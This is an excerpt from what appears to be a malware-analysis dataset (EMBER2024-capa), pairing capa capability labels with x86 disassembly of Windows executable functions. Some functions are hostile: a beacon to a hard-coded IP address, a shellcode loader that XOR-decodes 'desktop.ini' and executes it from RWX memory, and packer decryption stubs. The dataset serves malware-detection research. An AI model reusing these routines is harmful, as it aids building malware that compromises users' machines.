joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007e00
Capabilities:
Receive data
Receive data on socket

Disassembly:
push 0xffffffffffffffff
push 0x10008f36
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x154
push ebx
push ebp
push esi
push edi
lea ecx, [esp + 0x58]
call fcn.10001690
mov edi, dword [0x1000c994]
mov eax, dword [esp + 0x178]
xor ebp, ebp
add edi, 0x5d5b
push ebp
push eax
lea ecx, [esp + 0x60]
mov dword [esp + 0x174], ebp
mov dword [0x1000c994], edi
call fcn.10002030
test eax, eax
jne 0x10007e74
lea ecx, [esp + 0x58]
mov dword [esp + 0x16c], 0xffffffff
call fcn.10001750
xor eax, eax
jmp 0x10008030
mov ecx, dword [0x1000c97c]
mov eax, dword [esp + 0x5c]
add ecx, 0x393e
xor ebx, ebx
cmp eax, ebp
mov dword [esp + 0x10], ebp
mov dword [0x1000c97c], ecx
lea esi, [esp + 0x10]
mov edi, 4
je 0x10008063
mov ecx, dword [esp + 0x5c]
push ebp
push edi
push esi
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, ebp
jle 0x10008063
add ebx, eax
add esi, eax
sub edi, eax
cmp ebx, 4
jb 0x10007ea1
mov edx, dword [esp + 0x10]
push edx
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov edx, dword [0x1000c998]
mov esi, eax
mov eax, dword [esp + 0x14]
add edx, 0x3ab6
push eax
push ebp
push esi
mov dword [0x1000c998], edx
call dword [0x1000c890]
mov ecx, dword [0x1000c988]
mov eax, dword [esp + 0x6c]
mov ebx, dword [esp + 0x20]
add esp, 0x10
add ecx, 0xc3
mov dword [esp + 0x18], ebx
test eax, eax
mov dword [0x1000c988], ecx
mov edi, esi
je 0x1000804b
test ebx, ebx
jbe 0x10007f41
mov ecx, dword [esp + 0x5c]
push 0
push ebx
push edi
push ecx
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x1000804b
add ebp, eax
add edi, eax
sub ebx, eax
mov eax, dword [esp + 0x18]
cmp ebp, eax
jb 0x10007f1c
mov al, 8
mov byte [esp + 0x2b], 4
mov byte [esp + 0x2a], al
mov byte [esp + 0x29], al
mov byte [esp + 0x2c], 2
mov eax, dword [0x1000c980]
mov ebp, dword [0x1000c998]
add eax, 0x1ca0
lea edx, [esp + 0x10]
add eax, 0x687d
push edx
mov dword [0x1000c980], eax
lea eax, [esp + 0x18]
add ebp, 0x6dcc
push eax
push esi
lea ecx, [esp + 0x28]
mov byte [esp + 0x178], 1
mov dword [esp + 0x20], 0
mov dword [0x1000c998], ebp
call fcn.10001170
mov ebp, dword [0x1000c980]
push esi
add ebp, 0x1c3b
mov dword [0x1000c980], ebp
call fcn.10008d16
mov esi, dword [0x1000c988]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x18]
add esi, 0x4448
mov dword [0x1000c988], esi
mov esi, dword [esp + 0x178]
push ecx
push edx
push esi
call fcn.100063c0
mov ebx, dword [0x1000c998]
mov eax, dword [esp + 0x24]
add ebx, 0x4068
push eax
mov dword [0x1000c998], ebx
call fcn.10008d16
mov ecx, dword [0x1000c98c]
add esp, 0x14
add ecx, 0x2d35
push esi
mov dword [0x1000c98c], ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp + 0x58]
mov esi, eax
mov dword [esp + 0x16c], 0xffffffff
call fcn.10001750
mov eax, esi
mov ecx, dword [esp + 0x164]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x160
ret 8
push esi
call fcn.10008d16
mov eax, dword [0x1000c97c]
add esp, 4
add eax, 0x2928
mov dword [0x1000c97c], eax
lea ecx, [esp + 0x58]
mov dword [esp + 0x16c], 0xffffffff
call fcn.10001750
xor eax, eax
jmp 0x10008030
Function at 0x6b4c3370
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
lea ebx, [esp + 0x24]
mov dword [esp], 0x6b4c503c
add eax, 0x40
mov dword [esp + 0xc], eax
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [sym.imp.msvcrt.dll__iob]
add eax, 0x40
mov dword [esp], eax
call sym._vfprintf
call sym._abort
jmp sym._mark_section_writable

Function at 0x6b4c33d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov esi, dword [0x6b4c6378]
test esi, esi
jle 0x6b4c34bd
mov edi, dword [0x6b4c637c]
xor ebx, ebx
lea edx, [edi + 4]
nop
mov ecx, dword [edx]
cmp ecx, eax
ja 0x6b4c3404
mov edi, dword [edx + 4]
add ecx, dword [edi + 8]
cmp eax, ecx
jb 0x6b4c34b6
add ebx, 1
add edx, 0xc
cmp ebx, esi
jne 0x6b4c33f0
mov dword [esp], eax
mov esi, eax
call sym.___mingw_GetSectionForAddress
test eax, eax
mov edi, eax
je 0x6b4c34fa
mov esi, dword [0x6b4c637c]
lea ebx, [ebx + ebx*2]
shl ebx, 2
add esi, ebx
mov dword [esi + 8], eax
mov dword [esi], 0
call sym.__GetPEImageBase
add eax, dword [edi + 0xc]
mov dword [esi + 4], eax
lea eax, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], eax
mov eax, dword [0x6b4c637c]
mov eax, dword [eax + ebx + 4]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x6b4c34da
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x6b4c34af
sub eax, 0x40
and eax, 0xffffffbf
je 0x6b4c34af
mov eax, dword [esp + 0x20]
add ebx, dword [0x6b4c637c]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0xc], ebx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
je 0x6b4c34c4
add dword [0x6b4c6378], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
xor ebx, ebx
jmp 0x6b4c340e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call sym.___report_error
mov eax, dword [0x6b4c637c]
mov eax, dword [eax + ebx + 4]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call sym.___report_error
mov dword [esp + 4], esi
mov dword [esp], str.Address__p_has_no_image_section
call sym.___report_error
lea esi, [esi]
Function at 0x6b4c37e0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x6b4c6388
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x6b4c6380]
sub esp, 4
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
test ebx, ebx
je 0x6b4c3835
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x6b4c382e
test esi, esi
je 0x6b4c382e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x6b4c3810
mov dword [esp], 0x6b4c6388
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x401000
Capabilities:
Create http request
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f4
push str.http:__91.202.233.141_KRUNKLA
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
push 0
push 0
push 0
push 0
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_93.0.4577.82_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 0
je 0x401074
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x3f0]
push ecx
mov edx, dword [ebp - 0x3f4]
push edx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov dword [ebp - 4], eax
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x3f4]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov esp, ebp
pop ebp
ret

Function at 0x401090
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push 0x104
lea eax, [ebp - 0x410]
push eax
push str._temp_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea ecx, [ebp - 0x410]
push ecx
push str._s_f7dd6d66ds.txt
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x4010e3
xor al, al
jmp 0x40111d
push 0
push 2
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0xffffffff
je 0x40111b
mov edx, dword [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x407a70
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov dword [ebp - 0x120], ebx
mov dword [ebp - 0x11c], esi
mov dword [ebp - 0x118], edi
mov dword [ebp - 0x114], 0
mov dword [0x40bea0], 0
mov dword [ebp - 4], 0
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp + eax - 0x108], 0
mov dword [ebp - 0x110], eax
mov ecx, dword [ebp - 0x110]
mov eax, ebp
mov edx, 0
call fcn.00407c60
mov eax, dword [0x40bea0]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x110]
inc ecx
lea eax, [ebp - 0x108]
call fcn.00402780
call sub.kernel32.dll_GetCommandLineA
mov dword [0x40a2e0], eax
mov ebx, dword [0x40a2e0]
jmp 0x407c0d
inc ebx
movzx eax, byte [ebx]
dec eax
cmp eax, 0x20
jb 0x407b0c
mov al, byte [ebx]
test al, al
je 0x407c17
mov byte [ebp - 0x10c], 0
mov edi, ebx
mov dword [ebp - 0x110], 0
jmp 0x407b7c
mov al, byte [ebx]
cmp al, 1
jb 0x407b75
sub al, 0x20
jbe 0x407b48
sub al, 2
je 0x407b5a
jmp 0x407b75
mov al, byte [ebp - 0x10c]
test al, al
je 0x407b82
inc dword [ebp - 0x110]
jmp 0x407b7b
mov al, byte [ebx + 1]
cmp al, 0x22
je 0x407b72
mov al, byte [ebp - 0x10c]
test al, al
sete byte [ebp - 0x10c]
jmp 0x407b7b
inc ebx
jmp 0x407b7b
inc dword [ebp - 0x110]
inc ebx
mov al, byte [ebx]
test al, al
jne 0x407b38
mov eax, dword [ebp - 0x114]
test eax, eax
je 0x407c07
mov ecx, dword [ebp - 0x110]
mov edx, dword [ebp - 0x114]
mov eax, ebp
call fcn.00407c60
mov byte [ebp - 0x10c], 0
mov ebx, edi
mov eax, dword [0x40bea0]
mov edx, dword [ebp - 0x114]
mov esi, dword [eax + edx*4]
jmp 0x407bfe
mov al, byte [ebx]
cmp al, 1
jb 0x407bf8
sub al, 0x20
jbe 0x407bcc
sub al, 2
je 0x407bdd
jmp 0x407bf8
mov al, byte [ebp - 0x10c]
test al, al
je 0x407c04
mov al, byte [ebx]
mov byte [esi], al
inc esi
jmp 0x407bfd
mov al, byte [ebx + 1]
cmp al, 0x22
je 0x407bf5
mov al, byte [ebp - 0x10c]
test al, al
sete byte [ebp - 0x10c]
jmp 0x407bfd
inc ebx
jmp 0x407bfd
mov al, byte [ebx]
mov byte [esi], al
inc esi
inc ebx
mov al, byte [ebx]
test al, al
jne 0x407bbc
mov byte [esi], 0
inc dword [ebp - 0x114]
mov al, byte [ebx]
test al, al
jne 0x407b0d
mov ebx, dword [ebp - 0x114]
mov dword [0x40be90], ebx
mov edx, ebx
inc edx
shl edx, 2
mov eax, 0x40bea0
call fcn.00405b10
mov eax, dword [0x40bea0]
mov dword [eax + ebx*4], 0
mov ebx, dword [ebp - 0x120]
mov esi, dword [ebp - 0x11c]
mov edi, dword [ebp - 0x118]
leave
ret
Function at 0x409180
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov byte [ebp - 4], al
mov al, byte [ebp - 4]
cmp al, 7
jb 0x4091d4
sub al, 7
je 0x40922e
dec al
je 0x4091bd
sub al, 2
je 0x4091a6
sub al, 3
je 0x4091b1
jmp 0x4091d4
inc dword [0x40ca80]
jmp 0x40922e
mov eax, dword [0x40c9e0]
mov dword [0x40ca70], eax
jmp 0x40922e
mov eax, dword [0x40ca70]
cmp eax, dword [0x40c9e0]
jbe 0x40922e
dec dword [0x40ca70]
jmp 0x40922e
mov eax, dword [0x40ca70]
dec eax
mov word [ebp - 8], ax
mov eax, dword [0x40ca80]
dec eax
mov word [ebp - 6], ax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push 1
lea eax, [ebp - 4]
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteConsoleOutputCharacterA
movzx ax, byte [0x40a7b0]
mov word [ebp - 0x10], ax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push 1
lea eax, [ebp - 0x10]
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteConsoleOutputAttribute
inc dword [0x40ca70]
mov eax, dword [0x40ca70]
cmp eax, dword [0x40c9f0]
jbe 0x409260
mov eax, dword [0x40c9e0]
mov dword [0x40ca70], eax
inc dword [0x40ca80]
jmp 0x409260
mov eax, 1
call fcn.004090f0
dec dword [0x40ca80]
mov eax, dword [0x40ca80]
cmp eax, dword [0x40ca10]
ja 0x409250
leave
ret

Function at 0x409270
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x10], edi
mov edi, eax
mov eax, dword [0x40ca70]
sub eax, 2
mov word [ebp - 4], ax
mov eax, dword [0x40ca80]
dec eax
mov word [ebp - 2], ax
movzx ax, byte [0x40a7b0]
mov word [ebp - 0xc], ax
movzx ax, byte [edi]
mov si, ax
mov bx, 1
cmp si, bx
jl 0x409360
dec bx
lea esi, [esi]
inc bx
inc word [ebp - 4]
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push 1
mov al, bl
and eax, 0xff
lea eax, [edi + eax]
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteConsoleOutputCharacterA
lea eax, [ebp - 8]
push eax
push dword [ebp - 4]
push 1
lea eax, [ebp - 0xc]
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteConsoleOutputAttribute
inc dword [0x40ca70]
mov eax, dword [0x40ca70]
cmp eax, dword [0x40c9f0]
jbe 0x409357
mov eax, dword [0x40c9e0]
mov dword [0x40ca70], eax
inc dword [0x40ca80]
jmp 0x409334
mov eax, 1
call fcn.004090f0
dec dword [0x40ca80]
mov eax, dword [0x40ca80]
cmp eax, dword [0x40ca10]
ja 0x409324
mov eax, dword [0x40ca70]
sub eax, 2
mov word [ebp - 4], ax
mov eax, dword [0x40ca80]
dec eax
mov word [ebp - 2], ax
cmp si, bx
jg 0x4092bc
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x14]
mov edi, dword [ebp - 0x10]
leave
ret
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..text
mov ebx, 0x40de38
nop
nop
mov ecx, 0x22df721b
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..rdata
nop
nop
mov ebx, 0x4304d8
mov ecx, 0x3d9b2209
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x101161c0
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x10116365
pushal
mov esi, section.UPX1
lea edi, [esi - 0xab000]
push edi
or ebp, 0xffffffff
jmp 0x101161ea
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x101161f1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x101161e0
mov eax, 1
add ebx, ebx
jne 0x10116203
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x10116214
jne 0x10116224
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10116224
dec eax
add ebx, ebx
jne 0x10116220
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x101161f8
xor ecx, ecx
sub eax, 3
jb 0x1011623c
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x101162ae
sar eax, 1
mov ebp, eax
jmp 0x10116247
add ebx, ebx
jne 0x10116247
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x10116254
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x10116278
inc ecx
add ebx, ebx
jne 0x10116264
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x10116259
jne 0x10116275
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x10116259
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x10116298
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x10116289
jmp 0x101161e6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x10116298
add edi, ecx
jmp 0x101161e6
pop esi
mov edi, esi
mov ecx, 0xa6c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x101162b6
cmp byte [edi], 7
jne 0x101162b6
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x101162bb
lea edi, [esi + 0x113000]
mov eax, dword [edi]
or eax, eax
je 0x10116333
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x11606c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1160bc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x101162e8
mov ecx, edi
jns 0x10116317
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1160c0]
or eax, eax
je 0x1011632d
mov dword [ebx], eax
add ebx, 4
jmp 0x10116305
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x10116364
cmp al, 0xef
ja 0x10116357
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x10116339
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x10116346
popal
jmp 0x100090c1
Function at 0x402bd0
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x594
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push 2
push ebx
push ebx
push 0xc0000000
push eax
mov byte [esp + 0x2f], bl
call dword [0x405050]
mov edi, eax
cmp edi, 0xffffffff
mov dword [esp + 0x1c], edi
je 0x402d66
mov cx, word [0x406228]
mov dl, byte [0x40622a]
push ebx
push ebx
push ebx
push ebx
lea eax, [esp + 0x40]
push eax
mov word [esp + 0x44], cx
mov byte [esp + 0x46], dl
call dword [0x407154]
mov esi, eax
cmp esi, ebx
mov dword [esp + 0x28], esi
je 0x402d57
mov ecx, dword [ebp + 8]
push 1
push ebx
push 3
push ebx
push ebx
push 0x50
push ecx
push esi
call dword [0x409568]
mov edi, eax
cmp edi, ebx
mov dword [esp + 0x18], edi
je 0x402d4c
mov edx, dword [ebp + 0xc]
push 1
push 0x80000100
push ebx
push ebx
push ebx
push edx
push 0x406224
push edi
call dword [0x407158]
mov esi, eax
cmp esi, ebx
je 0x402d41
push ebx
push ebx
push ebx
push ebx
push esi
call dword [0x407150]
test eax, eax
je 0x402d7b
push ebx
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x28]
push ecx
push 0x20000013
push esi
mov dword [esp + 0x38], 4
call dword [0x40515c]
cmp dword [esp + 0x20], 0xc8
jne 0x402d3a
xor eax, eax
mov byte [esp + 0x1a0], bl
mov ecx, 0xff
lea edi, [esp + 0x1a1]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor edi, edi
lea ebx, [ebx]
lea edx, [esp + 0x14]
push edx
push 0x400
lea eax, [esp + 0x1a8]
push eax
push esi
mov dword [esp + 0x24], ebx
call dword [0x40956c]
test eax, eax
je 0x402d36
mov edx, dword [esp + 0x14]
push ebx
lea ecx, [esp + 0x30]
push ecx
mov ecx, dword [esp + 0x24]
push edx
lea eax, [esp + 0x1ac]
push eax
push ecx
call dword [0x40504c]
test eax, eax
je 0x402d36
mov eax, dword [esp + 0x14]
add edi, eax
cmp eax, ebx
jne 0x402ce0
cmp edi, ebx
je 0x402d36
mov byte [esp + 0x13], 1
mov edi, dword [esp + 0x18]
push esi
call dword [0x407d60]
push edi
call dword [0x407d60]
mov esi, dword [esp + 0x28]
push esi
call dword [0x407d60]
mov edi, dword [esp + 0x1c]
push edi
call dword [0x405064]
mov al, byte [esp + 0x13]
cmp al, bl
jne 0x402d74
mov eax, dword [ebp + 0x10]
push eax
call dword [0x405068]
mov al, byte [esp + 0x13]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call dword [0x405048]
push eax
lea edx, [esp + 0x13c]
push 0x405e60
push edx
call dword [0x40514c]
add esp, 0xc
jmp 0x402d3a
Function at 0x42e006
Capabilities:
Encode data using xor

Disassembly:
call 0x42e00c
nop
pop eax
nop
nop
nop
nop
add eax, 0x403ac5
nop
sub eax, 0x403a6b
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x42e030
nop
nop
nop
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x42e01e
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp loc.00401219

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x402ab0
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1fa8
call fcn.0043c1d0
mov eax, dword [0x66a344]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x1fa8], ecx
xor eax, eax
mov word [ebp - 0x804], ax
push 0x7fe
push 0
lea ecx, [ebp - 0x802]
push ecx
call fcn.004ac380
add esp, 0xc
xor edx, edx
mov word [ebp - 0x1004], dx
push 0x7fe
push 0
lea eax, [ebp - 0x1002]
push eax
call fcn.004ac380
add esp, 0xc
push 0x7d0
lea ecx, [ebp - 0x1fa4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push str.Program_FilesInternet_Exploreriexplore.exe
push 0x5f5c80
call fcn.004afdb1
add esp, 4
lea edx, [ebp + eax*2 - 0x1fa4]
push edx
call fcn.004afd8f
add esp, 8
lea eax, [ebp - 0x1fa4]
push eax
lea ecx, [ebp - 0x1004]
push ecx
call fcn.004afd8f
add esp, 8
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x804]
push eax
call fcn.004afd8f
add esp, 8
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x1fa4]
push edx
call fcn.004afd5e
add esp, 8
push 1
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
ja 0x402bb8
push 0
push 0
lea ecx, [ebp - 0x804]
push ecx
lea edx, [ebp - 0x1004]
push edx
call fcn.004413fc
add esp, 0x10
mov eax, 1
jmp 0x402bbd
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043c1bd
mov esp, ebp
pop ebp
ret 4